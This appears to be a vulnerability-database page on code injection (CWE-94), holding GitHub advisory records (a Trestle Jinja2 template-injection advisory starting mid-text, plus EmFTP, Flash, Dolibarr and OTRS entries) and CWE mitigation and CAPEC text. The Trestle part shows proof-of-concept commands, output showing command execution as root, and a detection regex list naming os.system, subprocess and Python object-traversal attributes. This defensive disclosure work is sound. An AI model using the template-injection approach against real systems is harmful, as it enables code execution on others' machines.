https://internal.corp.example.com/api/v2/users\nEOF\n```\n\n### Execution\n\n```bash\ntrestle init\ntrestle author jinja -i trigger.md.jinja -o output.md -lut empty.yaml\n```\n\n### Observed Output\n\n```markdown\n# POC: SSTI via md_clean_include tag\n\n# Compliance Documentation\n\nTesting SSTI vulnerability:\nExecute command: root\n\n```\n\n### Expected Result\n\nThe rendered `output.md` will contain the output of the `{% for %}` loop, revealing all key-value pairs from the `lut` template context dictionary. If the commented-out object traversal line is uncommented, Python internal objects may be accessible depending on the Jinja2 version and configuration.\n\n\n## Affected Component\n\n- **File:** `trestle/core/jinja/tags.py`\n- **Class:** `MDCleanInclude` (lines 106-151)\n- **Class:** `MDSectionInclude` (lines 47-103)\n- **Function:** `MDCleanInclude.parse()` (line 115), `MDSectionInclude.parse()` (line 56)\n- **Configuring module:** `trestle/core/commands/author/jinja.py`, method `_create_jinja_environment()` (line 304)\n- **Dependency:** Jinja2 (any version) \u2014 the vulnerability is in application code, not the Jinja2 library\n\n## Fix Recommendation\n\n\u003e **Important:** The fix for `render_template()` (removing the recursive `while` loop) was a necessary first step, but is **not sufficient**. The same root cause exists in the custom Jinja2 tags. A comprehensive fix must address ALL code paths where data is re-parsed as Jinja2 template source.\n\n### Comprehensive Fix Strategy\n\n**Step 1 (Root cause fix):** Remove all secondary Jinja2 parsing from custom tags where it is not needed:\n\n```diff\n# tags.py: MDCleanInclude.parse() \u2014 replace lines 148-151:\n- local_parser = Parser(self.environment, content)\n- top_level_output = local_parser.parse()\n- return top_level_output.body\n+ from jinja2 import nodes\n+ return [nodes.Output([nodes.TemplateData(content)])]\n```\n\n```diff\n# tags.py: MDSectionInclude.parse() \u2014 replace lines 100-103:\n- local_parser = Parser(self.environment, md_section.content.raw_text)\n- top_level_output = local_parser.parse()\n- return top_level_output.body\n+ from jinja2 import nodes\n+ return [nodes.Output([nodes.TemplateData(md_section.content.raw_text)])]\n```\n\n**Step 2 (Defense in depth):** Switch to `SandboxedEnvironment` in `_create_jinja_environment()`:\n\n```diff\n# jinja.py:304-308 \u2014 _create_jinja_environment()\n+ from jinja2.sandbox import SandboxedEnvironment\n- return Environment(\n+ return SandboxedEnvironment(\n loader=FileSystemLoader(template_folder),\n extensions=extensions(),\n trim_blocks=True,\n autoescape=True\n )\n```\n\n**Step 3 (Input validation):** Add validation to reject input data containing Jinja2 syntax:\n\n```python\n# jinja.py: add to _run() before rendering\n_JINJA2_DANGEROUS_PATTERNS = [\n r\u0027\\{\\{.*__globals__\u0027,\n r\u0027\\{\\{.*__class__\u0027,\n r\u0027\\{\\{.*__mro__\u0027,\n r\u0027\\{\\{.*__subclasses__\u0027,\n r\u0027\\{\\{.*__init__\u0027,\n r\u0027\\{\\{.*os\\.system\u0027,\n r\u0027\\{\\{.*subprocess\u0027,\n r\u0027\\{%\\s*for\\s\u0027,\n r\u0027\\{%\\s*if\\s\u0027,\n]\n\ndef _validate_data_field(value: str) -\u003e bool:\n \"\"\"Reject data values containing suspicious Jinja2 syntax.\"\"\"\n for pattern in _JINJA2_DANGEROUS_PATTERNS:\n if re.search(pattern, value):\n return False\n return True\n```\n\n### Alternative Fix (Milder): Escape Jinja2 syntax in untrusted data\n\n```diff\n # tags.py: before any secondary parsing\n+ import re\n+ def escape_jinja2(text: str) -\u003e str:\n+ return re.sub(r\u0027(\\{\\{|\\{%|\\{#)\u0027, r\u0027\\\\\\1\u0027, text)\n+\n+ content = escape_jinja2(content) # apply before Parser()\n local_parser = Parser(self.environment, content)\n```",
"id": "GHSA-jw39-3688-r4rx",
"modified": "2026-08-28T16:15:38Z",
"published": "2026-08-28T16:15:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-jw39-3688-r4rx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54757"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/pull/2257"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/0f82d19bd42f9cc0f1b3acd7fc3f6dafe3b6ae10"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/5335ff873a2a68eb7de43df029bea09cadff22fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/oscal-compass/compliance-trestle"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/releases/tag/v3.12.4"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/releases/tag/v4.1.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Trestle has Server-Side Template Injection (SSTI) via Recursive Template Re-evaluation of Untrusted Data"
}
GHSA-JW63-3PHG-PV85
Vulnerability from github – Published: 2022-05-17 04:21 – Updated: 2022-05-17 04:21
VLAI
Details
Emurasoft EmFTP allows local users to gain privileges via a Trojan horse executable file that is launched during an attempt to read a similarly named file that lacks a filename extension.
{
"affected": [],
"aliases": [
"CVE-2014-3910"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-09-05T17:55:00Z",
"severity": "MODERATE"
},
"details": "Emurasoft EmFTP allows local users to gain privileges via a Trojan horse executable file that is launched during an attempt to read a similarly named file that lacks a filename extension.",
"id": "GHSA-jw63-3phg-pv85",
"modified": "2022-05-17T04:21:32Z",
"published": "2022-05-17T04:21:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-3910"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN50367052/995292/index.html"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN50367052/index.html"
},
{
"type": "WEB",
"url": "http://jvndb.jvn.jp/jvndb/JVNDB-2014-000103"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JWCR-C5CC-5PC8
Vulnerability from github – Published: 2022-05-14 01:46 – Updated: 2022-05-14 01:46
VLAI
Details
Adobe Flash Player before 13.0.0.259 and 14.x through 16.x before 16.0.0.235 on Windows and OS X and before 11.2.202.425 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2014-0587.
{
"affected": [],
"aliases": [
"CVE-2014-9164"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-12-10T21:59:00Z",
"severity": "HIGH"
},
"details": "Adobe Flash Player before 13.0.0.259 and 14.x through 16.x before 16.0.0.235 on Windows and OS X and before 11.2.202.425 on Linux allows attackers to execute arbitrary code or cause a denial of service (memory corruption) via unspecified vectors, a different vulnerability than CVE-2014-0587.",
"id": "GHSA-jwcr-c5cc-5pc8",
"modified": "2022-05-14T01:46:43Z",
"published": "2022-05-14T01:46:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9164"
},
{
"type": "WEB",
"url": "http://helpx.adobe.com/security/products/flash-player/apsb14-27.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-JWG3-V9XM-V6Q9
Vulnerability from github – Published: 2022-05-24 16:51 – Updated: 2023-08-25 21:26
VLAI
Summary
Dolibarr ERP and CRM Code Injection
Details
Dolibarr ERP/CRM 9.0.1 provides a module named website that provides for creation of public websites with a WYSIWYG editor. It was identified that the editor also allowed inclusion of dynamic code, which can lead to code execution on the host machine. An attacker has to check a setting on the same page, which specifies the inclusion of dynamic content. Thus, a lower privileged user of the application can execute code under the context and permissions of the underlying web server.
Severity
8.0 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 9.0.1"
},
"package": {
"ecosystem": "Packagist",
"name": "dolibarr/dolibarr"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-11201"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-14T22:16:25Z",
"nvd_published_at": "2019-07-29T16:15:00Z",
"severity": "HIGH"
},
"details": "Dolibarr ERP/CRM 9.0.1 provides a module named website that provides for creation of public websites with a WYSIWYG editor. It was identified that the editor also allowed inclusion of dynamic code, which can lead to code execution on the host machine. An attacker has to check a setting on the same page, which specifies the inclusion of dynamic content. Thus, a lower privileged user of the application can execute code under the context and permissions of the underlying web server.",
"id": "GHSA-jwg3-v9xm-v6q9",
"modified": "2023-08-25T21:26:33Z",
"published": "2022-05-24T16:51:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11201"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/issues/10984#issuecomment-485841141"
},
{
"type": "WEB",
"url": "https://github.com/Dolibarr/dolibarr/commit/63c0ab93fb21f86c1b736061af9fa1eee90148fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/Dolibarr/dolibarr"
},
{
"type": "WEB",
"url": "https://know.bishopfox.com/advisories/dolibarr-version-9-0-1-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dolibarr ERP and CRM Code Injection"
}
GHSA-JWM9-WMRQ-4G6H
Vulnerability from github – Published: 2023-03-20 09:30 – Updated: 2023-03-24 21:30
VLAI
Details
Improper Input Validation vulnerability in OTRS AG OTRS (ACL modules), OTRS AG ((OTRS)) Community Edition (ACL modules) allows Local Execution of Code. When creating/importing an ACL it was possible to inject code that gets executed via manipulated comments and ACL-names This issue affects OTRS: from 7.0.X before 7.0.42, from 8.0.X before 8.0.31; ((OTRS)) Community Edition: from 6.0.1 through 6.0.34.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2023-1250"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-03-20T09:15:00Z",
"severity": "HIGH"
},
"details": "Improper Input Validation vulnerability in OTRS AG OTRS (ACL modules), OTRS AG ((OTRS)) Community Edition (ACL modules) allows Local Execution of Code. When creating/importing an ACL it was possible to inject code that gets executed via manipulated comments and ACL-names This issue affects OTRS: from 7.0.X before 7.0.42, from 8.0.X before 8.0.31; ((OTRS)) Community Edition: from 6.0.1 through 6.0.34.",
"id": "GHSA-jwm9-wmrq-4g6h",
"modified": "2023-03-24T21:30:55Z",
"published": "2023-03-20T09:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1250"
},
{
"type": "WEB",
"url": "https://otrs.com/release-notes/otrs-security-advisory-2023-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Architecture and Design
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
Architecture and Design
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Operation
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Operation
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
Implementation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.